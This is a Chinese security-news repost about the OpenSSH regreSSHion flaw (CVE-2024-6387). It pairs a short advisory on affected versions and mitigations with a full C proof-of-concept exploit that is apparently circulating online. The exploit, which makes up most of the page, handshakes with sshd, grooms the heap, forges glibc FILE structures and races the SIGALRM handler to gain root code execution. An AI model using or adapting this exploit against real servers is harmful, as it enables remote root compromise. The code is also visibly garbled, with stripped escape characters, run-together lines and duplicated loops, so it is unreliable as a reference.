SSH爆出远程命令执行漏洞,附网传POC

admin 2024年7月2日17:45:58评论7 views字数 12303阅读41分0秒阅读模式
2024年7月1日,知名工具OpenSSH爆出高危漏洞,存在安全隐患,建议升级到最新安全版本。
(CVE-2024-6387)SSH条件竞争漏洞(附网传POC)@墨雪飘影https://wiki.shikangsi.com/post/share/16789554-1034-4a9c-8ad7-1c7a16b808e5
漏洞信息

2024年7月1日,OpenSSH 官方发布安全通告,披露CVE-2024-6387 OpenSSH Server 远程代码执行漏洞。漏洞成因 为 条件竞争,因此若要成功利用该漏洞,需要经过多次尝试,并需要绕过相关系统保护措施(如ASLR),在实际网络环境下利用难度较大。同时安装于OpenBSD系统/Windows系统中的OpenSSH 也不受该漏洞影响。

SSH爆出远程命令执行漏洞,附网传POC

官方公告

    多家情报/漏洞平台已发布公告。

影响范围

OpenSSH < 4.4p1 且未安装CVE-2006-5051/CVE-2008-4109补丁

8.5p1 <= OpenSSH < 9.8p1

建议措施

    1、升级到最新安全版本。

    2、临时封堵22端口。

网传POC

/** 7etsuo-regreSSHion.c * ------------------------------------------------------------------------- * SSH-2.0-OpenSSH_9.2p1 Exploit * ------------------------------------------------------------------------- * * Exploit Title  : SSH Exploit for CVE-2024-6387 (regreSSHion) * Author         : 7etsuo * Date           : 2024-07-01 * * Description: * Targets a signal handler race condition in OpenSSH's * server (sshd) on glibc-based Linux systems. It exploits a vulnerability * where the SIGALRM handler calls async-signal-unsafe functions, leading * to rce as root. * * Notes: * 1. Shellcode        : Replace placeholder with actual payload. * 2. GLIBC_BASES      : Needs adjustment for specific target systems. * 3. Timing parameters: Fine-tune based on target system responsiveness. * 4. Heap layout      : Requires tweaking for different OpenSSH versions. * 5. File structure offsets: Verify for the specific glibc version. * ------------------------------------------------------------------------- */
#include <stdlib.h>#include <unistd.h>#include <time.h>#include <string.h>#include <errno.h>#include <fcntl.h>#include <stdint.h>#include <stdio.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>#include <time.h>
#define MAX_PACKET_SIZE (256 * 1024)#define LOGIN_GRACE_TIME 120#define MAX_STARTUPS 100#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Possible glibc base addresses (for ASLR bypass)uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode placeholder (replace with actual shellcode)unsigned char shellcode[] = "x90x90x90x90";
int setup_connection (const char *ip, int port);void send_packet (int sock, unsigned char packet_type,                  const unsigned char *data, size_t len);void prepare_heap (int sock);void time_final_packet (int sock, double *parsing_time);int attempt_race_condition (int sock, double parsing_time,                            uint64_t glibc_base);double measure_response_time (int sock, int error_type);void create_public_key_packet (unsigned char *packet, size_t size,                               uint64_t glibc_base);void create_fake_file_structure (unsigned char *data, size_t size,                                 uint64_t glibc_base);void send_ssh_version (int sock);int receive_ssh_version (int sock);void send_kex_init (int sock);int receive_kex_init (int sock);int perform_ssh_handshake (int sock);
intmain (int argc, char *argv[]){  if (argc != 3)    {      fprintf (stderr, "Usage: %s <ip> <port>n", argv[0]);      exit (1);    }
  const char *ip = argv[1];  int port = atoi (argv[2]);  double parsing_time = 0;  int success = 0;
  srand (time (NULL));
  // Attempt exploitation for each possible glibc base address  for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)    {      uint64_t glibc_base = GLIBC_BASES[base_idx];      printf ("Attempting exploitation with glibc base: 0x%lxn", glibc_base);
      // The advisory mentions "~10,000 tries on average"      for (int attempt = 0; attempt < 20000 && !success; attempt++)        {          if (attempt % 1000 == 0)            {              printf ("Attempt %d of 20000n", attempt);            }
          int sock = setup_connection (ip, port);          if (sock < 0)            {              fprintf (stderr, "Failed to establish connection, attempt %dn",                       attempt);              continue;            }
          if (perform_ssh_handshake (sock) < 0)            {              fprintf (stderr, "SSH handshake failed, attempt %dn", attempt);              close (sock);              continue;            }
          prepare_heap (sock);          time_final_packet (sock, &parsing_time);
          if (attempt_race_condition (sock, parsing_time, glibc_base))            {              printf ("Possible exploitation success on attempt %d with glibc "                      "base 0x%lx!n",                      attempt, glibc_base);              success = 1;              break;            }
          close (sock);          usleep (100000); // 100ms delay between attempts, as mentioned in the                           // advisory        }    }
  return !success;}
intsetup_connection (const char *ip, int port){  int sock = socket (AF_INET, SOCK_STREAM, 0);  if (sock < 0)    {      perror ("socket");      return -1;    }
  struct sockaddr_in server_addr;  memset (&server_addr, 0, sizeof (server_addr));  server_addr.sin_family = AF_INET;  server_addr.sin_port = htons (port);  if (inet_pton (AF_INET, ip, &server_addr.sin_addr) <= 0)    {      perror ("inet_pton");      close (sock);      return -1;    }
  if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr))      < 0)    {      perror ("connect");      close (sock);      return -1;    }
  // Set socket to non-blocking mode  int flags = fcntl (sock, F_GETFL, 0);  fcntl (sock, F_SETFL, flags | O_NONBLOCK);
  return sock;}
voidsend_packet (int sock, unsigned char packet_type, const unsigned char *data,             size_t len){  unsigned char packet[MAX_PACKET_SIZE];  size_t packet_len = len + 5;
  packet[0] = (packet_len >> 24) & 0xFF;  packet[1] = (packet_len >> 16) & 0xFF;  packet[2] = (packet_len >> 8) & 0xFF;  packet[3] = packet_len & 0xFF;  packet[4] = packet_type;
  memcpy (packet + 5, data, len);
  if (send (sock, packet, packet_len, 0) < 0)    {      perror ("send_packet");    }}
voidsend_ssh_version (int sock){  const char *ssh_version = "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1rn";  if (send (sock, ssh_version, strlen (ssh_version), 0) < 0)    {      perror ("send ssh version");    }}
intreceive_ssh_version (int sock){  char buffer[256];  ssize_t received;  do    {      received = recv (sock, buffer, sizeof (buffer) - 1, 0);    }  while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
  if (received > 0)    {      buffer[received] = '�';      printf ("Received SSH version: %s", buffer);      return 0;    }  else if (received == 0)    {      fprintf (stderr, "Connection closed while receiving SSH versionn");    }  else    {      perror ("receive ssh version");    }  return -1;}
voidsend_kex_init (int sock){  unsigned char kexinit_payload[36] = { 0 };  send_packet (sock, 20, kexinit_payload, sizeof (kexinit_payload));}
intreceive_kex_init (int sock){  unsigned char buffer[1024];  ssize_t received;  do    {      received = recv (sock, buffer, sizeof (buffer), 0);    }  while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
  if (received > 0)    {      printf ("Received KEX_INIT (%zd bytes)n", received);      return 0;    }  else if (received == 0)    {      fprintf (stderr, "Connection closed while receiving KEX_INITn");    }  else    {      perror ("receive kex init");    }  return -1;}
intperform_ssh_handshake (int sock){  send_ssh_version (sock);  if (receive_ssh_version (sock) < 0)    return -1;  send_kex_init (sock);  if (receive_kex_init (sock) < 0)    return -1;  return 0;}
voidprepare_heap (int sock){  // Packet a: Allocate and free tcache chunks  for (int i = 0; i < 10; i++)    {      unsigned char tcache_chunk[64];      memset (tcache_chunk, 'A', sizeof (tcache_chunk));      send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));      // These will be freed by the server, populating tcache    }
  // Packet b: Create 27 pairs of large (~8KB) and small (320B) holes  for (int i = 0; i < 27; i++)    {      // Allocate large chunk (~8KB)      unsigned char large_hole[8192];      memset (large_hole, 'B', sizeof (large_hole));      send_packet (sock, 5, large_hole, sizeof (large_hole));
      // Allocate small chunk (320B)      unsigned char small_hole[320];      memset (small_hole, 'C', sizeof (small_hole));      send_packet (sock, 5, small_hole, sizeof (small_hole));    }
  // Packet c: Write fake headers, footers, vtable and _codecvt pointers  for (int i = 0; i < 27; i++)    {      unsigned char fake_data[4096];      create_fake_file_structure (fake_data, sizeof (fake_data),                                  GLIBC_BASES[0]);      send_packet (sock, 5, fake_data, sizeof (fake_data));    }
  // Packet d: Ensure holes are in correct malloc bins (send ~256KB string)  unsigned char large_string[MAX_PACKET_SIZE - 1];  memset (large_string, 'E', sizeof (large_string));  send_packet (sock, 5, large_string, sizeof (large_string));}
voidcreate_fake_file_structure (unsigned char *data, size_t size,                            uint64_t glibc_base){  memset (data, 0, size);
  struct  {    void *_IO_read_ptr;    void *_IO_read_end;    void *_IO_read_base;    void *_IO_write_base;    void *_IO_write_ptr;    void *_IO_write_end;    void *_IO_buf_base;    void *_IO_buf_end;    void *_IO_save_base;    void *_IO_backup_base;    void *_IO_save_end;    void *_markers;    void *_chain;    int _fileno;    int _flags;    int _mode;    char _unused2[40];    void *_vtable_offset;  } *fake_file = (void *)data;
  // Set _vtable_offset to 0x61 as described in the advisory  fake_file->_vtable_offset = (void *)0x61;
  // Set up fake vtable and _codecvt pointers  *(uint64_t *)(data + size - 16)      = glibc_base + 0x21b740; // fake vtable (_IO_wfile_jumps)  *(uint64_t *)(data + size - 8) = glibc_base + 0x21d7f8; // fake _codecvt}
voidtime_final_packet (int sock, double *parsing_time){  double time_before = measure_response_time (sock, 1);  double time_after = measure_response_time (sock, 2);  *parsing_time = time_after - time_before;
  printf ("Estimated parsing time: %.6f secondsn", *parsing_time);}
doublemeasure_response_time (int sock, int error_type){  unsigned char error_packet[1024];  size_t packet_size;
  if (error_type == 1)    {      // Error before sshkey_from_blob      packet_size = snprintf ((char *)error_packet, sizeof (error_packet),                              "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3");    }  else    {      // Error after sshkey_from_blob      packet_size = snprintf ((char *)error_packet, sizeof (error_packet),                              "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9");    }
  struct timespec start, end;  clock_gettime (CLOCK_MONOTONIC, &start);
  send_packet (sock, 50, error_packet,               packet_size); // SSH_MSG_USERAUTH_REQUEST
  char response[1024];  ssize_t received;  do    {      received = recv (sock, response, sizeof (response), 0);    }  while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
  clock_gettime (CLOCK_MONOTONIC, &end);
  double elapsed      = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;  return elapsed;}
voidcreate_public_key_packet (unsigned char *packet, size_t size,                          uint64_t glibc_base){  memset (packet, 0, size);
  size_t offset = 0;  for (int i = 0; i < 27; i++)    {      // malloc(~4KB) - This is for the large hole      *(uint32_t *)(packet + offset) = CHUNK_ALIGN (4096);      offset += CHUNK_ALIGN (4096);
      // malloc(304) - This is for the small hole (potential FILE structure)      *(uint32_t *)(packet + offset) = CHUNK_ALIGN (304);      offset += CHUNK_ALIGN (304);    }
  // Add necessary headers for the SSH public key format  memcpy (packet, "ssh-rsa ", 8);
  // Place shellcode in the heap via previous allocations  memcpy (packet + CHUNK_ALIGN (4096) * 13 + CHUNK_ALIGN (304) * 13, shellcode,          sizeof (shellcode));
  // Set up the fake FILE structures within the packet  for (int i = 0; i < 27; i++)    {      create_fake_file_structure (packet + CHUNK_ALIGN (4096) * (i + 1)                                      + CHUNK_ALIGN (304) * i,                                  CHUNK_ALIGN (304), glibc_base);    }}
intattempt_race_condition (int sock, double parsing_time, uint64_t glibc_base){  unsigned char final_packet[MAX_PACKET_SIZE];  create_public_key_packet (final_packet, sizeof (final_packet), glibc_base);
  // Send all but the last byte  if (send (sock, final_packet, sizeof (final_packet) - 1, 0) < 0)    {      perror ("send final packet");      return 0;    }
  // Precise timing for last byte  struct timespec start, current;  clock_gettime (CLOCK_MONOTONIC, &start);
  while (1)    {      clock_gettime (CLOCK_MONOTONIC, &current);      double elapsed = (current.tv_sec - start.tv_sec)                       + (current.tv_nsec - start.tv_nsec) / 1e9;      if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001))        { // 1ms before SIGALRM          if (send (sock, &final_packet[sizeof (final_packet) - 1], 1, 0) < 0)            {              perror ("send last byte");              return 0;            }          break;        }    }
  // Check for successful exploitation  char response[1024];  ssize_t received = recv (sock, response, sizeof (response), 0);  if (received > 0)    {      printf ("Received response after exploit attempt (%zd bytes)n",              received);      // Analyze response to determine if we hit the "large" race window      if (memcmp (response, "SSH-2.0-", 8) != 0)        {          printf ("Possible hit on 'large' race windown");          return 1;        }    }  else if (received == 0)    {      printf (          "Connection closed by server - possible successful exploitationn");      return 1;    }  else if (errno == EWOULDBLOCK || errno == EAGAIN)    {      printf ("No immediate response from server - possible successful "              "exploitationn");      return 1;    }  else    {      perror ("recv");    }  return 0;}
intperform_exploit (const char *ip, int port){  int success = 0;  double parsing_time = 0;  double timing_adjustment = 0;
  for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)    {      uint64_t glibc_base = GLIBC_BASES[base_idx];      printf ("Attempting exploitation with glibc base: 0x%lxn", glibc_base);
      for (int attempt = 0; attempt < 10000 && !success; attempt++)        {          if (attempt % 1000 == 0)            {              printf ("Attempt %d of 10000n", attempt);            }
          int sock = setup_connection (ip, port);          if (sock < 0)            {              fprintf (stderr, "Failed to establish connection, attempt %dn",                       attempt);              continue;            }
          if (perform_ssh_handshake (sock) < 0)            {              fprintf (stderr, "SSH handshake failed, attempt %dn", attempt);              close (sock);              continue;            }
          prepare_heap (sock);          time_final_packet (sock, &parsing_time);
          // Implement feedback-based timing strategy          parsing_time += timing_adjustment;
          if (attempt_race_condition (sock, parsing_time, glibc_base))            {              printf ("Possible exploitation success on attempt %d with glibc "                      "base 0x%lx!n",                      attempt, glibc_base);              success = 1;              // In a real exploit, we would now attempt to interact with the              // shell            }          else            {              // Adjust timing based on feedback              timing_adjustment += 0.00001; // Small incremental adjustment            }
          close (sock);          usleep (100000); // 100ms delay between attempts, as mentioned in the                           // advisory        }    }
  return success;}

参考

https://www.openssh.com/releasenotes.htmlhttps://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt?ref=upstract.comhttps://access.redhat.com/security/cve/CVE-2024-6387https://bugzilla.redhat.com/show_bug.cgi?id=2294604https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txthttps://loudongyun.360.net/leakDetail/66828e73d1233899efc56ff7https://avd.aliyun.com/detail?id=AVD-2024-6387https://github.com/zgzhang/cve-2024-6387-pochttps://github.com/acrono/cve-2024-6387-poc

更多内容:https://wiki.shikangsi.com

阅读原文查看本文详情。

原文始发于微信公众号(墨雪飘影):SSH爆出远程命令执行漏洞,附网传POC

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月2日17:45:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SSH爆出远程命令执行漏洞,附网传POChttps://cn-sec.com/archives/2908815.html

发表评论

匿名网友 填写信息